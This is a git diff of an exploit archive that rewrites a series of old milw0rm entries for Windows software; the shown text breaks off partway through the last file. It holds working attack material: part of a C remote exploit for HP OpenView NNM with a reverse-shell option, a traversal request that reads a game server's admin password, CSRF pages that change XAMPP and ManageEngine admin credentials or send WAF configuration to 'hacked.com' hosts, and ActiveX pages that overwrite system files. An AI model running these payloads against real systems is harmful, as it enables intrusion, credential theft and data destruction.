+	printf(" #  %s%s: %s%s# \n", key, temp2, val, temp1);	
+
+}
+
+
+
+void usage(char * s)
+{	
+	int j;
+	printf("\n");
+	printf("    Usage: %s -h <host:port> -t <target> -R <ip:port>\n", s);
+	printf("   -------------------------------------------------------------------\n");
+	printf("    Arguments:\n");
+	printf("      -h ........ host to attack, default port: 2954\n");
+	printf("      -t ........ target to use\n");	
+	printf("      -R ........ set reverse IP and port ( e.g. -R 192.168.0.11:9999 )\n");
+	printf("      -T ........ socket timeout\n");
+	printf("\n");
+	printf("    Supported HP NNM versions:\n");
+	for(j=0; targets[j].t!=0;j++)
+	{
+		printf("      %d. %s\n",j+1, targets[j].t);
+	}					
+	printf("\n");
+	for(j=0; shellcodes[j].name!=0;j++)
+	{
+		printf("      %d. %s\n",j+1, shellcodes[j].name);
+	}		
+	end_logo();	
+}
+
+void logo()
+{
+	printf("\n\n");
+	printf(" ####################################################################### \n");	
+	printf(" #     ____                 __  _                  ______  __    _____ #\n");
+	printf(" #    / __ \\________  _____/ /_(_)_________       / __/\\ \\/ /   / _  / #\n");
+	printf(" #   / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___  / /    \\  /   / // /  #\n");
+	printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \\  / ___/   #\n");
+	printf(" # /_____/_/  \\___/ \\_,_/\\__/_/\\___/\\__,_/     /_/     /_/\\_\\/_/       #\n");
+	printf(" #                                 crew                                #\n");
+	printf(" ####################################################################### \n");	
+	printf(" #  Exploit : HP OpenView NNM v7.5.1 ovalarmsrv.exe Remote Exploit     # \n");
+	printf(" #  Author  : Heretic2                                                 # \n");
+	printf(" #  THANKS  : Luigi Auriemma, Metasploit, skylined                     # \n");
+	printf(" #  Research: Luigi Auriemma                                           # \n");
+	printf(" #  Version : 1.0                                                      # \n");
+	printf(" #  System  : Windows ALL                                              # \n");
+	printf(" #  Date    : 07.04.2008                                               # \n");
+	printf(" # ------------------------------------------------------------------- # \n");
+}
+
+void end_logo()
+{
+	printf(" # ------------------------------------------------------------------- # \n");
+	printf(" #                    Dreatica-FXP crew [Heretic2]                     # \n");	
+	printf(" ####################################################################### \n\n");
+}
+
+// milw0rm.com [2008-04-14]
diff --git a/platforms/windows/remote/644.pl b/platforms/windows/remote/644.pl
index 9dfacad41..e9ce53524 100755
--- a/platforms/windows/remote/644.pl
+++ b/platforms/windows/remote/644.pl
@@ -48,6 +48,6 @@ if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
 else
 {
 	print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
-}
-
-# milw0rm.com [2004-11-21]
+}
+
+# milw0rm.com [2004-11-21]
diff --git a/platforms/windows/remote/6506.txt b/platforms/windows/remote/6506.txt
index 5e1b0feea..919ee1f97 100755
--- a/platforms/windows/remote/6506.txt
+++ b/platforms/windows/remote/6506.txt
@@ -1,133 +1,133 @@
-#######################################################################
-
-                             Luigi Auriemma
-
-Application:  Unreal Tournament 3
-              http://www.unrealtournament3.com
-Versions:     1.3 ONLY (both build 3601 and 3614)
-              older versions are safe
-Platforms:    Windows and Linux
-Bug:          directory traversal in the web interface
-Exploitation: remote, versus server
-Date:         21 Sep 2008
-Author:       Luigi Auriemma
-              e-mail: aluigi@autistici.org
-              web:    aluigi.org
-
-
-#######################################################################
-
-
-1) Introduction
-2) Bug
-3) The Code
-4) Fix
-
-
-#######################################################################
-
-===============
-1) Introduction
-===============
-
-
-Unreal Tournament 3 (UT3) is the latest game of the famous homonim
-series developed by Epic Games (http://www.epicgames.com).
-
-
-#######################################################################
-
-======
-2) Bug
-======
-
-
-UT3, as any other game based on the Unreal engine, has an internal web
-server called uWeb for controlling the own server remotely using a web
-browser.
-This interface is disabled by default and in the case of UT3 are needed
-the additional files located on http://ut3webadmin.elmuerte.com (choice
-made by Epic for fixing possibly issues more quickly).
-
-In the last 1.3 patch released the 13th August 2008 has been made a bad
-and unusual modification to uWeb.
-In fact the WebAdmin component is composed by two sub components/classes
-called UTServerAdmin (used for everything) and UTImageServer used only
-for the handling of the HTTP requests for the files in the /images
-folder.
-
-In the script of the ImageServer component in version 1.3 has been made
-the following change which has removed the limitation of downloading
-only files with the extentions JPG, JPEG, GIF, BMP and PNG:
-
-ImageServer.uc of version 1.2:
-    ...
-    else
-    {
-        Response.HTTPError(404);
-        return;
-    }
-    Response.IncludeBinaryFile( Path $ Image );
-
-ImageServer.uc of version 1.3:
-    ...
-    else
-    {
-        Response.SendStandardHeaders("application/octet-stream", true);
-    }
-    Response.IncludeBinaryFile( Path $ Image );
-
-Not a so dangerous thing except that the directory traversal which has
-EVER affected this part of the engine and which has never been possible
-to exploit due to the filters on the extensions of the requested files
-(an image can't be classified as "sensible" data moreover if there is
-no way to know the exact locations of these files) now allows any
-external unauthenticated attacker to download files from the system.
-
-In fact when a file is requested the engine first looks in the home
-folder of the user who has launched the UT3 server (for example
-"C:\Documents and Settings\Administrator\My Documents\My Games\Unreal
-Tournament 3") because the configuration files used by the server are
-located just there and then in the folder of the game, so having the
-server installed on another partition doesn't limit the problem.
-
-For example, it's enough to request the file
-"/images/../../UTGame/Config/UTGame.INI" to see all the configuration
-of the server which includes also the admin password to gain access to
-the same webadmin interface.
-In the example I have used the INI extension instead of ini because
-this particular extension seems filtered internally so it's enough to
-use one or more upper case chars in it to bypass the check while there
-are no strange behaviours for the other extensions or files.
-
-
-#######################################################################
-
-===========
-3) The Code
-===========
-
-
-http://aluigi.org/poc/ut3webown.txt
-
-<ut3webown.txt>
-GET /images/../../UTGame/Config/UTGame.INI HTTP/1.0
-Host: localhost
-</ut3webown.txt>
-
-  nc SERVER 80 -v -v < ut3webown.txt
-
-
-#######################################################################
-
-======
-4) Fix
-======
-
-
-No fix
-
-
-#######################################################################
-
-# milw0rm.com [2008-09-21]
+#######################################################################
+
+                             Luigi Auriemma
+
+Application:  Unreal Tournament 3
+              http://www.unrealtournament3.com
+Versions:     1.3 ONLY (both build 3601 and 3614)
+              older versions are safe
+Platforms:    Windows and Linux
+Bug:          directory traversal in the web interface
+Exploitation: remote, versus server
+Date:         21 Sep 2008
+Author:       Luigi Auriemma
+              e-mail: aluigi@autistici.org
+              web:    aluigi.org
+
+
+#######################################################################
+
+
+1) Introduction
+2) Bug
+3) The Code
+4) Fix
+
+
+#######################################################################
+
+===============
+1) Introduction
+===============
+
+
+Unreal Tournament 3 (UT3) is the latest game of the famous homonim
+series developed by Epic Games (http://www.epicgames.com).
+
+
+#######################################################################
+
+======
+2) Bug
+======
+
+
+UT3, as any other game based on the Unreal engine, has an internal web
+server called uWeb for controlling the own server remotely using a web
+browser.
+This interface is disabled by default and in the case of UT3 are needed
+the additional files located on http://ut3webadmin.elmuerte.com (choice
+made by Epic for fixing possibly issues more quickly).
+
+In the last 1.3 patch released the 13th August 2008 has been made a bad
+and unusual modification to uWeb.
+In fact the WebAdmin component is composed by two sub components/classes
+called UTServerAdmin (used for everything) and UTImageServer used only
+for the handling of the HTTP requests for the files in the /images
+folder.
+
+In the script of the ImageServer component in version 1.3 has been made
+the following change which has removed the limitation of downloading
+only files with the extentions JPG, JPEG, GIF, BMP and PNG:
+
+ImageServer.uc of version 1.2:
+    ...
+    else
+    {
+        Response.HTTPError(404);
+        return;
+    }
+    Response.IncludeBinaryFile( Path $ Image );
+
+ImageServer.uc of version 1.3:
+    ...
+    else
+    {
+        Response.SendStandardHeaders("application/octet-stream", true);
+    }
+    Response.IncludeBinaryFile( Path $ Image );
+
+Not a so dangerous thing except that the directory traversal which has
+EVER affected this part of the engine and which has never been possible
+to exploit due to the filters on the extensions of the requested files
+(an image can't be classified as "sensible" data moreover if there is
+no way to know the exact locations of these files) now allows any
+external unauthenticated attacker to download files from the system.
+
+In fact when a file is requested the engine first looks in the home
+folder of the user who has launched the UT3 server (for example
+"C:\Documents and Settings\Administrator\My Documents\My Games\Unreal
+Tournament 3") because the configuration files used by the server are
+located just there and then in the folder of the game, so having the
+server installed on another partition doesn't limit the problem.
+
+For example, it's enough to request the file
+"/images/../../UTGame/Config/UTGame.INI" to see all the configuration
+of the server which includes also the admin password to gain access to
+the same webadmin interface.
+In the example I have used the INI extension instead of ini because
+this particular extension seems filtered internally so it's enough to
+use one or more upper case chars in it to bypass the check while there
+are no strange behaviours for the other extensions or files.
+
+
+#######################################################################
+
+===========
+3) The Code
+===========
+
+
+http://aluigi.org/poc/ut3webown.txt
+
+<ut3webown.txt>
+GET /images/../../UTGame/Config/UTGame.INI HTTP/1.0
+Host: localhost
+</ut3webown.txt>
+
+  nc SERVER 80 -v -v < ut3webown.txt
+
+
+#######################################################################
+
+======
+4) Fix
+======
+
+
+No fix
+
+
+#######################################################################
+
+# milw0rm.com [2008-09-21]
diff --git a/platforms/windows/remote/670.c b/platforms/windows/remote/670.c
index d4e1dbdf2..e046dd9f4 100755
--- a/platforms/windows/remote/670.c
+++ b/platforms/windows/remote/670.c
@@ -290,6 +290,6 @@ int usage(char *p)
     printf( "Usage: %s <-u username> <-p password> <-h host> <-p port> <-t type>\n",p);
     printf("Possible types: Look in source code too lazy to type out 14 types\n");
     exit(0);
-}
-
-// milw0rm.com [2004-12-01]
+}
+
+// milw0rm.com [2004-12-01]
diff --git a/platforms/windows/remote/7384.txt b/platforms/windows/remote/7384.txt
index 4560a60e3..ba467b209 100755
--- a/platforms/windows/remote/7384.txt
+++ b/platforms/windows/remote/7384.txt
@@ -1,57 +1,57 @@
-XAMPP change administrative password:
---------------------------------------------------------------------------------
-Written by Michael Brooks
-special thanks to str0ke
-
-Affects XAMPP 1.6.8.
-homepage: http://www.apachefriends.org/
-XAMPP has 17+ million downloads from sourceforge.net.
-register_globals=On or Off
-This attack is exploitable even when this page is reporting a fully
-secure system: http://10.1.1.10/security/index.php
-
-There are two vulnerabilities that are being used toagther.
-1)Global variable manipulation to spoof ip address.
-2)XSRF to change the .htaccess password for http://10.1.1.10/security/
- and http://10.1.1.10/xampp/ .
-
-The $_SERVER[REMOTE_ADDR] comes directly from Apache's tcp socket and
-this cannot normally be spoofed.
-However extract($_POST); can be used to overwrite any declared
-variable,  including the $_SERVER superglobal.  This can be used to
-"spoof"  your ip address as 127.0.0.1
-This xsrf attack can be exploited from a browser in any ip address, so
-long as that browser is currently authenticated.
-
-This vulnerable code is from the very top of: /security/xamppsecurity.php
-<?php
-       error_reporting(0);
-       extract($_POST);
-       extract($_SERVER);
-       $host = "127.0.0.1";
-       $timeout = "1";
-
-       if ($REMOTE_ADDR) {
-               if ($REMOTE_ADDR != $host) {
-                       echo "<h2> FORBIDDEN FOR CLIENT $REMOTE_ADDR <h2>";
-                       exit;
-               }
-       }
-//...
-
-//Start of xsrf attack
-<html>
-	<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
-	          <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
-		<input type=hidden name="xamppuser" value=admin >
-		<input type=hidden name="xampppasswd" value=password>
-		<input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
-		<input type=submit>
-	</form>
-</html>
-<script>
-	document.getElementById(1).submit();
-</script>
-//End of xsrf attack
-
-# milw0rm.com [2008-12-08]
+XAMPP change administrative password:
+--------------------------------------------------------------------------------
+Written by Michael Brooks
+special thanks to str0ke
+
+Affects XAMPP 1.6.8.
+homepage: http://www.apachefriends.org/
+XAMPP has 17+ million downloads from sourceforge.net.
+register_globals=On or Off
+This attack is exploitable even when this page is reporting a fully
+secure system: http://10.1.1.10/security/index.php
+
+There are two vulnerabilities that are being used toagther.
+1)Global variable manipulation to spoof ip address.
+2)XSRF to change the .htaccess password for http://10.1.1.10/security/
+ and http://10.1.1.10/xampp/ .
+
+The $_SERVER[REMOTE_ADDR] comes directly from Apache's tcp socket and
+this cannot normally be spoofed.
+However extract($_POST); can be used to overwrite any declared
+variable,  including the $_SERVER superglobal.  This can be used to
+"spoof"  your ip address as 127.0.0.1
+This xsrf attack can be exploited from a browser in any ip address, so
+long as that browser is currently authenticated.
+
+This vulnerable code is from the very top of: /security/xamppsecurity.php
+<?php
+       error_reporting(0);
+       extract($_POST);
+       extract($_SERVER);
+       $host = "127.0.0.1";
+       $timeout = "1";
+
+       if ($REMOTE_ADDR) {
+               if ($REMOTE_ADDR != $host) {
+                       echo "<h2> FORBIDDEN FOR CLIENT $REMOTE_ADDR <h2>";
+                       exit;
+               }
+       }
+//...
+
+//Start of xsrf attack
+<html>
+	<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
+	          <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
+		<input type=hidden name="xamppuser" value=admin >
+		<input type=hidden name="xampppasswd" value=password>
+		<input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
+		<input type=submit>
+	</form>
+</html>
+<script>
+	document.getElementById(1).submit();
+</script>
+//End of xsrf attack
+
+# milw0rm.com [2008-12-08]
diff --git a/platforms/windows/remote/7918.txt b/platforms/windows/remote/7918.txt
index 1bcba9e08..1904ebceb 100755
--- a/platforms/windows/remote/7918.txt
+++ b/platforms/windows/remote/7918.txt
@@ -1,55 +1,55 @@
-Written By Michael Brooks
-Special thanks to str0ke!
-
-
-Product: ManageEngine Firewall Analyzer 5 - XSRF and XSS
-Vulerable version:
-Build Version  :  	5.0.0
-Build Number  :  	5000
-Build Date  :  	Apr_25
-homepage:
-http://fwanalyzer.com/
-
-This is live exploit code against the online demo.   Go ahead,  run it!
-
-With this exploit you can execute any SQL query you want,  this is not
-SQL Injection.  I think its funny that the sql query is also
-vulnerable to xss.
-
-XSRF to execute Arbatrary SQL Queries.  This is not SQL Injection,
-its better because you can execute *any*  query.
-<html>
-	<form action='http://demo.fwanalyzer.com/fw/runQuery.do' method='POST' id=1>
-		<input type=hidden name="execute" value="true" >
-		<input type=hidden name="DatabaseType" value="mysql">
-		<input type=hidden name="query" value='select
-"<script>alert(/0wn3d/)</script>"'>
-		<input type=submit>
-	</form>
-</html>
-
-Create a new administrative account badmin:badmin:
-<html>
-	<form action='http://demo.fwanalyzer.com/fw/userManagementForm.do'
-method='POST' id=2>
-		<input type=hidden name='addField' value='true'>
-		<input type=hidden name='productName' value='firewall'>
-		<input type=hidden name='userType' value='Administrator'>
-		<input type=hidden name='licType' value='Prem'>
-		<input type=hidden name='userName' value='madmin'>
-		<input type=hidden name='pwd1' value='badmin'>
-		<input type=hidden name='password' value='badmin'>
-		<input type=hidden name='userGroup' value='Administrator'>
-		<input type=hidden name='email' value='badmin@badmin.com'>
-		<input type=hidden name='availableDevices' value='301'>
-		<input type=hidden name='Submit3' value='Add User'>
-		<input type=submit>
-		</form>
-</html>
-
-<script>
-	document.getElementById(1).submit();
-	//document.getElementById(2).submit();
-</script>
-
-# milw0rm.com [2009-01-29]
+Written By Michael Brooks
+Special thanks to str0ke!
+
+
+Product: ManageEngine Firewall Analyzer 5 - XSRF and XSS
+Vulerable version:
+Build Version  :  	5.0.0
+Build Number  :  	5000
+Build Date  :  	Apr_25
+homepage:
+http://fwanalyzer.com/
+
+This is live exploit code against the online demo.   Go ahead,  run it!
+
+With this exploit you can execute any SQL query you want,  this is not
+SQL Injection.  I think its funny that the sql query is also
+vulnerable to xss.
+
+XSRF to execute Arbatrary SQL Queries.  This is not SQL Injection,
+its better because you can execute *any*  query.
+<html>
+	<form action='http://demo.fwanalyzer.com/fw/runQuery.do' method='POST' id=1>
+		<input type=hidden name="execute" value="true" >
+		<input type=hidden name="DatabaseType" value="mysql">
+		<input type=hidden name="query" value='select
+"<script>alert(/0wn3d/)</script>"'>
+		<input type=submit>
+	</form>
+</html>
+
+Create a new administrative account badmin:badmin:
+<html>
+	<form action='http://demo.fwanalyzer.com/fw/userManagementForm.do'
+method='POST' id=2>
+		<input type=hidden name='addField' value='true'>
+		<input type=hidden name='productName' value='firewall'>
+		<input type=hidden name='userType' value='Administrator'>
+		<input type=hidden name='licType' value='Prem'>
+		<input type=hidden name='userName' value='madmin'>
+		<input type=hidden name='pwd1' value='badmin'>
+		<input type=hidden name='password' value='badmin'>
+		<input type=hidden name='userGroup' value='Administrator'>
+		<input type=hidden name='email' value='badmin@badmin.com'>
+		<input type=hidden name='availableDevices' value='301'>
+		<input type=hidden name='Submit3' value='Add User'>
+		<input type=submit>
+		</form>
+</html>
+
+<script>
+	document.getElementById(1).submit();
+	//document.getElementById(2).submit();
+</script>
+
+# milw0rm.com [2009-01-29]
diff --git a/platforms/windows/remote/7919.txt b/platforms/windows/remote/7919.txt
index cebb7aa29..d507c4763 100755
--- a/platforms/windows/remote/7919.txt
+++ b/platforms/windows/remote/7919.txt
@@ -1,36 +1,36 @@
-Written By Michael Brooks
-Special thanks to str0ke!
-
-Affects: Profense Web Application Firewall XSRF and XSS
-Version: 2.6.2
-download http://www.armorlogic.com/download_software.html
-
-"Defenses against all OWASP Top Ten vulnerabilities"
- Too bad it doesn't defend its self against all of these vulnerabilities....
-
-
-Chaning configuration:
-DNS, SMTP,  NTP servers.
-Set a (malcious) remote FTP server or SCP server to backup (steal)
-configuration files.   This could be used to steal the configuraitons.
-Set a remote syslog server to steal the logs
-Enable SSH
-Enable SNMP
-<img src=https://10.1.1.199:2000/ajax.html?hostname=profense.mydomain.com&gateway=10.1.1.1&dns=10.1.1.1&smtp=10.1.1.1&max_src_conn=100&max_src_conn_rate_num=100&max_src_conn_rate_sec=10&blacklist_exp=3600&ntp=ntp.hacked.com&timezone=CET&syslog=syslog.hacked.com&syslog_ext_l=4&snmp_public=public&snmp_location=&contact=admin%40mydomain.com&ftp_server=ftp.hacked.com&ftp_port=21&ftp_login=user&ftp_passwd=password&ftp_remote_dir=%2Fhijacked_log&scp_server=scp.hacked.com&scp_port=22&scp_login=admin&scp_remote_dir=%2Fhijacked_log&ftp_auto_on=on&scp_auto_on=on&ssh_on=on&remote_support_on=on&action=configuration&do=save>
-Apply new configurations:
-<img src=https://10.1.1.199:2000/ajax.html?action=restart&do=core>
-
-Add a proxy:
-<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>
-
-Turn off the Proface machine:
-<img src=https://10.1.1.199:2000/ajax.html?action=shutdown>
-
-Force the Proface server to ping:
-<img src=https://10.1.1.199:2000/ajax.html?action=ping&ip=10.1.1.1>
-Could be used to nofiy the attacker that the attack succeeded.
-
-reflective xss:
-https://10.1.1.199:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>
-
-# milw0rm.com [2009-01-29]
+Written By Michael Brooks
+Special thanks to str0ke!
+
+Affects: Profense Web Application Firewall XSRF and XSS
+Version: 2.6.2
+download http://www.armorlogic.com/download_software.html
+
+"Defenses against all OWASP Top Ten vulnerabilities"
+ Too bad it doesn't defend its self against all of these vulnerabilities....
+
+
+Chaning configuration:
+DNS, SMTP,  NTP servers.
+Set a (malcious) remote FTP server or SCP server to backup (steal)
+configuration files.   This could be used to steal the configuraitons.
+Set a remote syslog server to steal the logs
+Enable SSH
+Enable SNMP
+<img src=https://10.1.1.199:2000/ajax.html?hostname=profense.mydomain.com&gateway=10.1.1.1&dns=10.1.1.1&smtp=10.1.1.1&max_src_conn=100&max_src_conn_rate_num=100&max_src_conn_rate_sec=10&blacklist_exp=3600&ntp=ntp.hacked.com&timezone=CET&syslog=syslog.hacked.com&syslog_ext_l=4&snmp_public=public&snmp_location=&contact=admin%40mydomain.com&ftp_server=ftp.hacked.com&ftp_port=21&ftp_login=user&ftp_passwd=password&ftp_remote_dir=%2Fhijacked_log&scp_server=scp.hacked.com&scp_port=22&scp_login=admin&scp_remote_dir=%2Fhijacked_log&ftp_auto_on=on&scp_auto_on=on&ssh_on=on&remote_support_on=on&action=configuration&do=save>
+Apply new configurations:
+<img src=https://10.1.1.199:2000/ajax.html?action=restart&do=core>
+
+Add a proxy:
+<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>
+
+Turn off the Proface machine:
+<img src=https://10.1.1.199:2000/ajax.html?action=shutdown>
+
+Force the Proface server to ping:
+<img src=https://10.1.1.199:2000/ajax.html?action=ping&ip=10.1.1.1>
+Could be used to nofiy the attacker that the attack succeeded.
+
+reflective xss:
+https://10.1.1.199:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>
+
+# milw0rm.com [2009-01-29]
diff --git a/platforms/windows/remote/7928.txt b/platforms/windows/remote/7928.txt
index 200215e18..d36fb5bc9 100755
--- a/platforms/windows/remote/7928.txt
+++ b/platforms/windows/remote/7928.txt
@@ -1,83 +1,83 @@
-Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-006
-
-http://www.dsecrg.com/pages/vul/show.php?id=62
-
-
-Application:                    Synactis All_IN_THE_BOX ActiveX
-Versions Affected:              3
-Vendor URL:                     http://synactis.com
-Bugs:                           Null byte File overwriting
-Exploits:                       YES
-Reported:                       15.01.2009
-Vendor response:                NONE
-Second Report:                  22.01.2009
-Vendor response:                NONE
-Date of Public Advisory:        30.01.2009
-Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
-
-
-Description
-***********
-Synactis All_IN_THE_BOX ActiveX  Control  (ALL_IN_THE_BOX.OCX) can be used to owervrite any any file in target system.
-Vulnerable method is "SaveDoc()"
-
-
-Details
-*******
-
-By default when saving file All_IN_THE_BOX ActiveX control  attend extension to filename variable in "SaveDoc()" method.
-For example if you enter filename "boot.ini" in "SaveDoc()" method then control will create file boot.ini.box.
-But by attending a null byte to filename attacker can owervrite any file in OS (see example for owervriting boot.ini)
-
-
-
-Class AllBox
-GUID: {B5576893-F948-4E0F-9BE1-A37CB56D66FF}
-Number of Interfaces: 1
-Default Interface: IAllBox
-RegKey Safe for Script: False
-RegkeySafe for Init: False
-KillBitSet: False
-
-
-
-Example:
-*******
-
-<html>
-Test Exploit page
-<object classid='clsid:B5576893-F948-4E0F-9BE1-A37CB56D66FF' id='sh2kerr' ></object>
-<script language='vbscript'>
-
-targetFile = "C:\PROGRA~1\Synactis\ALLIN-~1\ALL_IN~1.OCX"
-prototype  = "Sub SaveDoc ( ByVal aFileName As String )"
-memberName = "SaveDoc"
-progid     = "All_In_The_Box.AllBox"
-argCount   = 1
-arg1="C:\boot.ini"+unescape("%00")
-sh2kerr.SaveDoc arg1
-</script>
-</html>
-
-
-
-Fix Information
-***************
-
-No patches available.
-We did not get any response from vendor for 2 weeks.
-
-
-
-
-About
-*****
-
-Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
-
-
-Contact:        research [at] dsec [dot] ru
-                http://www.dsecrg.com
-                http://www.dsec.ru
-
-# milw0rm.com [2009-01-30]
+Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-006
+
+http://www.dsecrg.com/pages/vul/show.php?id=62
+
+
+Application:                    Synactis All_IN_THE_BOX ActiveX
+Versions Affected:              3
+Vendor URL:                     http://synactis.com
+Bugs:                           Null byte File overwriting
+Exploits:                       YES
+Reported:                       15.01.2009
+Vendor response:                NONE
+Second Report:                  22.01.2009
+Vendor response:                NONE
+Date of Public Advisory:        30.01.2009
+Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
+
+
+Description
+***********
+Synactis All_IN_THE_BOX ActiveX  Control  (ALL_IN_THE_BOX.OCX) can be used to owervrite any any file in target system.
+Vulnerable method is "SaveDoc()"
+
+
+Details
+*******
+
+By default when saving file All_IN_THE_BOX ActiveX control  attend extension to filename variable in "SaveDoc()" method.
+For example if you enter filename "boot.ini" in "SaveDoc()" method then control will create file boot.ini.box.
+But by attending a null byte to filename attacker can owervrite any file in OS (see example for owervriting boot.ini)
+
+
+
+Class AllBox
+GUID: {B5576893-F948-4E0F-9BE1-A37CB56D66FF}
+Number of Interfaces: 1
+Default Interface: IAllBox
+RegKey Safe for Script: False
+RegkeySafe for Init: False
+KillBitSet: False
+
+
+
+Example:
+*******
+
+<html>
+Test Exploit page
+<object classid='clsid:B5576893-F948-4E0F-9BE1-A37CB56D66FF' id='sh2kerr' ></object>
+<script language='vbscript'>
+
+targetFile = "C:\PROGRA~1\Synactis\ALLIN-~1\ALL_IN~1.OCX"
+prototype  = "Sub SaveDoc ( ByVal aFileName As String )"
+memberName = "SaveDoc"
+progid     = "All_In_The_Box.AllBox"
+argCount   = 1
+arg1="C:\boot.ini"+unescape("%00")
+sh2kerr.SaveDoc arg1
+</script>
+</html>
+
+
+
+Fix Information
+***************
+
+No patches available.
+We did not get any response from vendor for 2 weeks.
+
+
+
+
+About
+*****
+
+Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
+
+
+Contact:        research [at] dsec [dot] ru
+                http://www.dsecrg.com
+                http://www.dsec.ru
+
+# milw0rm.com [2009-01-30]
diff --git a/platforms/windows/remote/8059.html b/platforms/windows/remote/8059.html
index eec3194f1..ee1187411 100755
--- a/platforms/windows/remote/8059.html
+++ b/platforms/windows/remote/8059.html
@@ -1,64 +1,64 @@
-<!--
-GeoVision LiveX_v8200 ActiveX Control (LIVEX_~1.OCX) remote file corruption poc
-by Nine:Situations:Group::SnoopyAssault
-site: http://retrogod.altervista.org/
-
-working against IE8b/xpsp3, safe for scripting and for initialize.
-LiveX_v7000 with clsid {DA8484DE-52DB-4860-A986-61A8682E298A}
-LiveX_v8120 with clsid {F4421170-DB22-4551-BBFB-FFCFFB419F6F}
-have the same SnapShotToFile() and SnapShotX() methods
-
-this poc connects to a live demo server and replaces system.ini with jpeg content...
-could we set arbitrary content (???) ... maybe trough a fake server, checking ...
--->
-<html>
-<head>
-<script language="JavaScript">
-function sleep(n)
-{
-    var now = new Date();
-    var exitTime = now.getTime() + (n*1000);
-    while (true) {
-        now = new Date();
-            if (now.getTime() > exitTime) return;
-    }
-}
-</script>
-</head>
-<body>
-	<object classid="clsid:8D58D690-6B71-4ee8-85AD-006DB0287BF1" id="WebCamX1" width="360" height="300">
-            <param name="IpAddress" value="http://24.248.47.203" ref> <!-- demo server -->
-            <param name="DisablePWD" value="-1">
-            <param name="UserName" value="wec">
-            <param name="Password" value="">
-          	<param name="CommandPort" value="4550">
-			<param name="DataPort" value="5550">
-			<param name="AudioDataPort" value="6550">
-			<param name="BandWidth" value="LAN">
-			<param name="FixSize" value="0">
-			<param name="FixWidth" value="320">
-			<param name="FixHeight" value="240">
-			<param name="SvrType" value="0">
-			<param name="AutoLogin" value="0">
-			<param name="DefaultCam" value="1">
-			<param name="AutoReConnect" value="-1">
-			<param name="MaxRetries" value="-1">
-			<param name="RetryInterval" value="70">
-          </object>
-<script language="JavaScript">
-  sleep(2);
-  //WebCamX1.SetCntDeviceType(0);
-  //WebCamX1.EnableAutoScreenSize(1);
-  //WebCamX1.SetInfo(125,1,0,"","");
-  //WebCamX1.SetInfo(129,1,0,"","");	
-  //WebCamX1.SetUpdateInfo(100, "WebCam", 0, "", 8200, 0,0);
-  //WebCamX1.DefaultCam = 1;
-  WebCamX1.PlayX();
-  sleep(2);
-  WebCamX1.SnapShotToFile("../../../../../../../../../../../windows/system.ini");
-  WebCamX1.SnapShotX();
-</script>    		
-</body>
-</html>
-
-# milw0rm.com [2009-02-16]
+<!--
+GeoVision LiveX_v8200 ActiveX Control (LIVEX_~1.OCX) remote file corruption poc
+by Nine:Situations:Group::SnoopyAssault
+site: http://retrogod.altervista.org/
+
+working against IE8b/xpsp3, safe for scripting and for initialize.
+LiveX_v7000 with clsid {DA8484DE-52DB-4860-A986-61A8682E298A}
+LiveX_v8120 with clsid {F4421170-DB22-4551-BBFB-FFCFFB419F6F}
+have the same SnapShotToFile() and SnapShotX() methods
+
+this poc connects to a live demo server and replaces system.ini with jpeg content...
+could we set arbitrary content (???) ... maybe trough a fake server, checking ...
+-->
+<html>
+<head>
+<script language="JavaScript">
+function sleep(n)
+{
+    var now = new Date();
+    var exitTime = now.getTime() + (n*1000);
+    while (true) {
+        now = new Date();
+            if (now.getTime() > exitTime) return;
+    }
+}
+</script>
+</head>
+<body>
+	<object classid="clsid:8D58D690-6B71-4ee8-85AD-006DB0287BF1" id="WebCamX1" width="360" height="300">
+            <param name="IpAddress" value="http://24.248.47.203" ref> <!-- demo server -->
+            <param name="DisablePWD" value="-1">
+            <param name="UserName" value="wec">
+            <param name="Password" value="">
+          	<param name="CommandPort" value="4550">
+			<param name="DataPort" value="5550">
+			<param name="AudioDataPort" value="6550">
+			<param name="BandWidth" value="LAN">
+			<param name="FixSize" value="0">
+			<param name="FixWidth" value="320">
+			<param name="FixHeight" value="240">
+			<param name="SvrType" value="0">
+			<param name="AutoLogin" value="0">
+			<param name="DefaultCam" value="1">
+			<param name="AutoReConnect" value="-1">
+			<param name="MaxRetries" value="-1">
+			<param name="RetryInterval" value="70">
+          </object>
+<script language="JavaScript">
+  sleep(2);
+  //WebCamX1.SetCntDeviceType(0);
+  //WebCamX1.EnableAutoScreenSize(1);
+  //WebCamX1.SetInfo(125,1,0,"","");
+  //WebCamX1.SetInfo(129,1,0,"","");	
+  //WebCamX1.SetUpdateInfo(100, "WebCam", 0, "", 8200, 0,0);
+  //WebCamX1.DefaultCam = 1;
+  WebCamX1.PlayX();
